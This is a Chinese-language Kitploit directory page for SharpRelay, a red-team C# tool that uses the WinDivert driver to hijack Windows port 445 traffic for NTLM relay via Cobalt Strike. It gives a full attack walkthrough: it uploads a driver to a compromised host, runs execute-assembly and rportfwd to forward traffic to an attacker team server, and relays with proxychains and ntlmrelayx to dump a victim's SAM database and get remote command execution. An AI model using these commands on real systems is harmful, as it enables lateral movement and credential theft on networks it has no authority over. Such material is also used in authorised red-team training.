Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
SharpRelay — 利用 WinDivert 驱动拦截并重定向 Windows 端口 445 流量的 C# 工具,用于通过 Cobalt Strike 执行 NTLM 中继攻击,从而在红队行动中实现横向移动和凭据窃取。 | Kitploit
工具/GitHubGitHub/pkb1s/sharprelay
数据包嗅探与分析横向移动渗透测试红队
GitHubpkb1s/sharprelay

SharpRelay

利用 WinDivert 驱动拦截并重定向 Windows 端口 445 流量的 C# 工具,用于通过 Cobalt Strike 执行 NTLM 中继攻击,从而在红队行动中实现横向移动和凭据窃取。

查看仓库
1792125年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

用法

此攻击的唯一要求是拥有一个具有本地管理员权限或能够加载驱动程序的 Beacon。使用 SharpRelay 的攻击步骤如下:

  • 将已签名的 WinDivert 驱动程序上传到受感染主机上的任意文件夹
  • 运行 SharpRelay 来修改到达 445 端口的数据包的目标端口,并将其重定向到另一个端口(例如 8445)
  • 在我们的 Beacon 上运行 Cobalt Strike 的 rportfwd 命令,将受感染主机的 8445 端口转发到我们团队服务器的 445 端口
  • 启动一个 socks 服务器,将中继流量转发回受害者网络
  • 使用 proxychains 运行 Impacket 的 ntlmrelayx 以进行 SMB 中继
  • 当受害者尝试访问受感染主机的 445 端口时,NTLM 身份验证将被转发到我们的团队服务器,并中继到另一台机器

以下示例命令可从 Cobalt Strike 运行以执行这些操作:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

当以上所有命令成功执行后,您需要启动中继服务器(将 proxychains 配置为上述命令中指定的端口,例如 4444):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

上述命令将从受害者主机中转储 SAM 数据库。也可以获得交互式 SMB shell 以及在受害者上远程执行命令。

SharpRelay 已在 Win10 x64 上测试过。

构建说明

如果您想从源代码构建该工具,可以执行以下操作:

  • 克隆仓库

  • 通过在 Visual Studio 中打开项目->管理 NuGet 包,确保在“已安装”选项卡中可以看到所有 NuGet 包

  • 构建项目

上述说明已在 Visual Studio 2019 中测试过。

技术细节

SharpRelay 基于 WinDivert 驱动程序。根据其描述,WinDivert 是一个内核驱动程序,允许用户模式的数据包拦截和修改。用户需要指定一个过滤器,任何匹配该过滤器的数据包都将被拦截并可被修改。

来自 ReadMe 文件:

root@kitploit:~
WinDivert.sys 驱动程序安装在 Windows 网络堆栈下方。 以下操作发生:

(1) 新数据包进入网络堆栈并被 WinDivert.sys 拦截
(2a) 如果数据包匹配程序定义的过滤器,它将被分流。然后程序可以通过调用 WinDivertRecv() 来读取数据包。
(2b) 如果数据包不匹配过滤器,则数据包正常继续。
(3) 程序丢弃、修改或重新注入数据包。程序可以通过调用 WinDivertSend() 重新注入(修改后的)数据包。

对我们来说,WinDivert 最重要的功能是我们能够拦截前往 Windows 开放端口的数据流量,并通过修改每个数据包的 TCP 源端口和目标端口,重新计算 TCP 校验和,并将数据包重新注入网络堆栈,从而将其重定向到另一个端口。

在 Windows 上,端口 445 默认始终运行。我不会详细说明使用端口 445 的过程,因为下面的帖子中已经对此进行了分析,请继续阅读:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

上述帖子还包含了另一个有趣的想法:使用 WinDivert 通过 Metasploit 执行 SMB 中继攻击。您可以将几个 DLL 和一个驱动文件连同 divertTCPconn.exe 一起上传到目标主机并执行它们。我发现这个攻击非常棒,但我不喜欢的是必须在目标主机上上传多个 DLL。

因此,我的目标是执行相同的攻击,但在磁盘上放置最少的文件,并通过 Cobalt Strike 执行攻击。

首先,我想利用 Cobalt Strike 的 execute-assembly 功能,因此决定使用 .NET 框架编写代码。我最初的想法是将 divertTCPconn 重写为 C#,然后一切就都能工作了。结果发现这非常复杂。幸运的是,我找到了由 TechnikEmpire 编写的以下 NuGet 包:

  • https://github.com/TechnikEmpire/WinDivertSharp

使用 WinDivertSharp,我能够编写 SharpRelay,通过创建服务加载驱动程序,并与 WinDivert 驱动程序通信以执行我需要的任何数据包修改。

下载工具